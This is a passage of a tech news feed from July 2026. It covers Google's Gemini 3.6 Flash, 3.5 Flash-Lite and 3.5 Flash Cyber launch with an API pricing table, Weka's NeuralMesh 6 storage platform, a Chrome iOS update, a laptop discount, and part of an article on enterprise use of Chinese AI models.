href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Project Glasswing program</a>, and continued by <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI with its staggered rollout for GPT-5.6</a>. </p><p>In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.</p><h2><b>Looking ahead</b></h2><p>Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.</p><p>Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. </p><p>Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.</p>]]></content:encoded>
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<title><![CDATA[Stop adding more GPUs: Weka's new storage platform reduces load by caching 100% of an AI model's pre-calculated tokens]]></title>
<description><![CDATA[GPU memory is the most expensive resource in production AI, and it's also the one running out fastest. Long context windows and multi-turn conversations force AI models to repeatedly recompute information they've already processed, consuming GPU memory and compute that could otherwise serve addit...]]></description>
<link>https://tsecurity.de/de/3684878/it-nachrichten/stop-adding-more-gpus-wekas-new-storage-platform-reduces-load-by-caching-100-of-an-ai-models-pre-calculated-tokens/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684878/it-nachrichten/stop-adding-more-gpus-wekas-new-storage-platform-reduces-load-by-caching-100-of-an-ai-models-pre-calculated-tokens/</guid>
<pubDate>Tue, 21 Jul 2026 23:33:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>GPU memory is the most expensive resource in production AI, and it's also the one running out fastest. </p><p>Long context windows and multi-turn conversations force AI models to repeatedly recompute information they've already processed, consuming GPU memory and compute that could otherwise serve additional users or generate new responses.</p><p>Instead of treating GPU memory as the limiting resource,  why not extend it with much cheaper storage technologies? </p><p><a href="https://www.weka.io/">Weka</a>, for one, believes that cheap flash storage can close that gap. The company's NeuralMesh 6 software platform, launching alongside its first self-designed hardware line, Wekapod 3, extends what Weka calls Augmented Memory Grid, an approach that aggregates NAND flash to behave like GPU memory at a fraction of the cost.</p><p>This is an active and increasingly crowded category. Dell, NetApp, Pure Storage and VAST have all repositioned toward AI infrastructure over the past two years and Weka is one of several vendors arguing it's built for this specific moment rather than adapting to it.</p><p>"What we're seeing now with customers is they're chasing availability of compute, and once they get new allocation from anyone, they want to be able to grab it and start running right away," Weka co-founder and CEO Liran Zvibel, told VentureBeat.</p><p>The potential payoff is straightforward: better utilization of existing GPU investments, lower inference costs and faster deployment of new AI workloads without waiting months for additional GPU capacity.</p><p>The technology is most relevant for organizations already operating AI at scale or expecting rapid growth in usage, particularly enterprises building internal copilots, customer service agents, software engineering assistants or retrieval systems with long context windows. Smaller deployments may see less immediate benefit than organizations where GPU utilization has already become a limiting factor.</p><h2><b>Inside Weka's NeuralMesh 6</b></h2><p>NeuralMesh 6 adds four capabilities aimed directly at a functionality gap Zvibel says has been costing Weka deals in competitive evaluations.</p><p><b>Composable and virtual multi-tenancy.</b> Composable clusters give anchor tenants full hardware-level isolation, dedicated CPU, memory, and storage. Virtual multi-tenancy runs through Weka's RDMA fabric, delivering network-level isolation that scales past 1,000 tenants per cluster, with provisioning in under 30 minutes. Combined, a single cluster running 50 composable clusters can support up to 50,000 tenants. </p><p><b>Unified file and object storage.</b> Most storage systems keep two separate paths: a file-based path (the standard way servers and applications read and write files, used heavily in training and fine-tuning pipelines) and an object-based path (S3, the format inference and cloud-native tools typically expect). Normally a gateway translates between the two, meaning the data effectively exists twice. Weka's claim is that the same physical data on disk is directly readable through either path at once, no translation layer, no second copy. Zvibel is targeting non-AWS GPU clouds specifically, naming Lambda, Nebius, G42, and CoreWeave, with what he described as roughly two orders of magnitude higher performance than conventional S3 and a capacity-based pricing model instead of per-API charges. </p><p><b>Metadata-first replication.</b> Destination environments become browsable before a full data copy arrives, with data hydrating only when accessed. </p><p>"They had to wait for all of that to make it to the other side, and this takes days or weeks, in extreme cases a month," Zvibel said. "We now allow our customers to grab some allocation of new GPUs and get up and running within an hour."</p><p><b>AlloyFlash and Always-On data reduction</b>. TLC and QLC are two types of NAND flash memory. TLC is faster and more durable but costs more per terabyte, while QLC is cheaper and holds more data per chip but is slower. AlloyFlash mixes both within a single cluster, automatically routing latency-sensitive work to TLC while running bulk-capacity workloads on QLC, cutting cost per terabyte without a performance penalty on the work that needs speed. Data reduction now runs by default rather than as an option.</p><h2><b>Solving AI's context problem</b></h2><p>Multi-tenancy and object storage solve how enterprises and neo clouds operate the platform day to day. A harder problem sits underneath: as context windows and multi-turn interactions grow, so does the GPU compute wasted recalculating work a model has already done. Augmented Memory Grid, a NeuralMesh 6 feature built specifically for this, is Weka's answer.</p><p>Every prompt triggers two stages. Prefill calculates attention, the core mechanism behind how large language models process input, and it's computationally expensive. Decode converts that calculation into output and is comparatively lightweight. </p><p>The cost shows up hardest in multi-turn sessions like chat or coding, where each new turn re-triggers prefill for everything that came before it, unless that work has been cached.</p><p>"If you have 10 turns, you may overcalculate 100 times because you're redoing all of them. If you have 20, you'll overcalculate 400 times," Zvibel said. "You can put two orders of magnitude more NAND than you could afford in shared memory, and we can cache 100% of the pre-calculated tokens, so you never need to redo it."</p><h2><b>Where Weka sits competitively</b></h2><p>Storage vendors have spent the past year and a half repositioning around AI, and separating genuine capability from repositioned messaging is now a real evaluation problem for buyers. </p><p>"The storage world is shifting its focus from serving bits to enterprise workloads to managing data at the speed of AI. We've seen that most clearly over the past 18 months from Dell, NetApp, and Pure," Steve McDowell, chief analyst at NAND Research, told VentureBeat. "The interesting thing is that companies like Weka, and VAST, are the true AI-native data companies, solving these problems since day one."</p><p>McDowell singled out Augmented Memory Grid as Weka's clearest technical lead. </p><p>"Weka continues to have the most technically capable KV cache implementation on the market with its Augmented Memory Grid," he said. " They were early with this technology, and continue to innovate. This is critical for AI inference, as it enables a level of GPU efficiency that, without question, saves money on GPUs and memory. That’s key for today’s memory and GPU constrained market." </p><p>He also flagged Weka's contractual guarantee on its data reduction claims as underappreciated. </p><p>"One flying a little under the radar: Weka is putting its money where its mouth is with its contractual guarantees for its data reduction promises," he said.</p><p>McDowell's advice to buyers evaluating competing claims from Weka, VAST, Pure and NetApp alike was pointed suggesting that enterprise buyers should look hard at what vendors are promising versus what they're actually delivering.</p><p>"A smart buyer will look at how competing vendors are solving real-world problems today," McDowell said. " They do this by talking to organizations running similar workloads at similar scale. If a vendor can't point to that, then it should be a warning sign."</p>]]></content:encoded>
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<title><![CDATA[Chrome Stable for iOS Update]]></title>
<description><![CDATA[Hi everyone! We've just released Chrome Stable 151 (151.0.7922.43) for iOS; it'll become available on App Store in the next few hours.This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us know by...]]></description>
<link>https://tsecurity.de/de/3684844/it-security-nachrichten/chrome-stable-for-ios-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684844/it-security-nachrichten/chrome-stable-for-ios-update/</guid>
<pubDate>Tue, 21 Jul 2026 23:04:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hi everyone! We've just released Chrome Stable 151 (151.0.7922.43) for iOS; it'll become available on App Store in the next few hours.</p><p>This release includes stability and performance improvements. You can see a full list of the changes in the <a href="https://chromium.googlesource.com/chromium/src/+log/151.0.7922.25..151.0.7922.43?pretty=fuller&amp;n=10000">Git log</a>. If you find a new issue, please let us know by <a href="https://code.google.com/p/chromium/issues/entry?template=iOS%20Issue">filing a bug</a>.</p><p>Chrome Release Team<br><a href="https://www.google.com/chrome"></a><a href="https://www.google.com/chrome">Google Chrome</a></p>]]></content:encoded>
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<title><![CDATA[Summer exams can be brutal, but this Intel Core Ultra 7 laptop with 16GB will help you survive them with A+ grades — and at a 38% discount to boot]]></title>
<description><![CDATA[Best Buy's ongoing Back to School sale brings a 38% discount to the 16-inch display configuration of the HP OmniBook X Flip laptop, which we highly recommend for any aspiring student looking for ways to help improve their homework due to its strong 2-in-1 design and performance.]]></description>
<link>https://tsecurity.de/de/3684825/windows-tipps/summer-exams-can-be-brutal-but-this-intel-core-ultra-7-laptop-with-16gb-will-help-you-survive-them-with-a-grades-and-at-a-38-discount-to-boot/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684825/windows-tipps/summer-exams-can-be-brutal-but-this-intel-core-ultra-7-laptop-with-16gb-will-help-you-survive-them-with-a-grades-and-at-a-38-discount-to-boot/</guid>
<pubDate>Tue, 21 Jul 2026 23:03:13 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Best Buy's ongoing Back to School sale brings a 38% discount to the 16-inch display configuration of the HP OmniBook X Flip laptop, which we highly recommend for any aspiring student looking for ways to help improve their homework due to its strong 2-in-1 design and performance.]]></content:encoded>
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<title><![CDATA[Google's Gemini Flash 5.6 model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]></title>
<description><![CDATA[Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 p...]]></description>
<link>https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</guid>
<pubDate>Tue, 21 Jul 2026 22:56:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google DeepMind<a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/?utm_source=x&amp;utm_medium=social&amp;utm_campaign=&amp;utm_content="> today released three new proprietary AI models</a> it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. </p><p>The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. </p><p>Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. </p><h2><b>VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.5 Flash-Lite</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$2.50</b></p></td><td><p><b>$2.80</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a><b></b></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.6 Flash</b></p></td><td><p><b>$1.50</b></p></td><td><p><b>$7.50</b></p></td><td><p><b>$9.00</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. </p><p>While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). </p><p>Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">separate Google blog post</a>, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> being Google's proprietary AI code bug-fixing agent released last year. </p><p>As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. </p><p>One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, <a href="https://venturebeat.com/technology/google-launches-gemini-3-1-pro-retaking-ai-crown-with-2x-reasoning">debuted back in February 2026</a>, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. </p><p>Google technical staffer Logan Kilpatrick <a href="https://x.com/OfficialLoganK/status/2079592006163349538">responded to one such inquiry on X, writing</a>: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." </p><p>Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. </p><p>If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.</p><h2><b>Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks</b></h2><p>Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the <a href="https://x.com/ArtificialAnlys/status/2079596244339707956">Artificial Analysis Index</a> maintained by the independent third-party AI benchmarking group of the same name. </p><p>In specific long-horizon software engineering benchmarks like <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. </p><p>This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. </p><p>When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.</p><p>While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."</p><p>The official model cards released by Google reveal that both <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-6-Flash-Model-Card.pdf">Gemini 3.6 Flash</a> and <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-5-Flash-Lite-Model-Card.pdf">Gemini 3.5 Flash-Lite</a> feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.</p><h2><b>Respectable benchmark performance at low cost</b></h2><p>The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. </p><p>It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. </p><p>The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.</p><p>To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. </p><p>The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.</p><h2>M<b>odels for low-cost coding, agentic, and cybersecurity use cases — respectively</b></h2><p>Google divided its new offerings into three distinct products tailored for different operational needs. </p><p>Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.</p><p>Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. </p><p>As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. <a href="https://artificialanalysis.ai/articles/gemini-3-6-flash-3-5-flash-lite-halving-time">Artificial Analysis notes</a> this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.</p><p>Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. </p><p>Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. </p><p>The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.</p><p>The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. </p><p>In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark. </p><p>Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.</p><h2><b>Commercial licensing only</b></h2><p>The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.</p><p>An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. </p><p>This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.</p><p>The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6. </p><p>In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.</p><h2><b>Looking ahead</b></h2><p>Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, </p><p>the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.</p><p>Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. </p><p>Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.</p>]]></content:encoded>
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<title><![CDATA[5 gaming accessories I refuse to play without]]></title>
<description><![CDATA[After years of gaming on PC, these are the five accessories I keep coming back to for their comfort, performance, and reliability.]]></description>
<link>https://tsecurity.de/de/3684729/it-nachrichten/5-gaming-accessories-i-refuse-to-play-without/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684729/it-nachrichten/5-gaming-accessories-i-refuse-to-play-without/</guid>
<pubDate>Tue, 21 Jul 2026 21:33:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[After years of gaming on PC, these are the five accessories I keep coming back to for their comfort, performance, and reliability.]]></content:encoded>
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<title><![CDATA[The latest Chinese AI models may indeed work for enterprises, but only in a handful of specific applications]]></title>
<description><![CDATA[Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been nervous about relying on Chinese AI models. 



But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model Qwen3.8 Max and Moonshot’s 2.8-trillion-parameter model Kimi K3, ar...]]></description>
<link>https://tsecurity.de/de/3684721/ai-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684721/ai-nachrichten/the-latest-chinese-ai-models-may-indeed-work-for-enterprises-but-only-in-a-handful-of-specific-applications/</guid>
<pubDate>Tue, 21 Jul 2026 21:24:16 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Ever since Chinese AI startup DeepSeek launched three years ago, enterprise executives have been <a href="https://www.cio.com/article/3816301/how-would-a-potential-ban-on-deepseek-impact-enterprises.html" target="_blank">nervous about relying on Chinese AI models</a>. </p>



<p class="wp-block-paragraph">But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model <a href="https://x.com/Alibaba_Qwen/status/2078759124914098291" target="_blank" rel="noreferrer noopener">Qwen3.8 Max</a> and Moonshot’s 2.8-trillion-parameter model <a href="https://www.kimi.com/blog/kimi-k3" target="_blank" rel="noreferrer noopener">Kimi K3</a>, are promising even more powerful performance, those IT executives are being forced to again ask if these models are worth using, even in a limited fashion.</p>



<p class="wp-block-paragraph">Former Walmart head of risk <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a>, now an independent cybersecurity and risk advisor, thinks they should at least take another look. </p>



<p class="wp-block-paragraph">“Enterprises should take these models seriously, but neither adopt nor reject them solely because they are Chinese,” he said. “They should be assessed like any other critical technology dependency: jurisdiction, ownership, training and software provenance, licensing, data handling, hosting, security, reliability, and the ability to independently test their behavior. Geopolitical exposure is a legitimate risk factor, but it should be incorporated into technical and supply-chain diligence rather than used as a substitute for it.”</p>



<h2 class="wp-block-heading">Choose applications with care</h2>



<p class="wp-block-paragraph">He added, “Chinese models may be especially valuable for coding, multilingual processing, high-volume document analysis, research, synthetic-data generation, and privately operated security or forensic workflows, but they should be subject to task-specific testing rather than broad benchmark claims.”</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, agreed that the Chinese models can work well if they are only used in carefully chosen applications. </p>



<p class="wp-block-paragraph">“Although Moonshot’s K3 still trails Claude’s Fable 5 and GPT 5.6 Sol on performance and user experience, good companies that have governance and prompt guardrails will not face the instability and improvisation of [the Chinese] models,” he said. “These models will win in usage. US frontier models are leading as the best models, but Chinese models will be sufficient for high-volume, low-drama tasks that cost less for non-critical transactions.”</p>



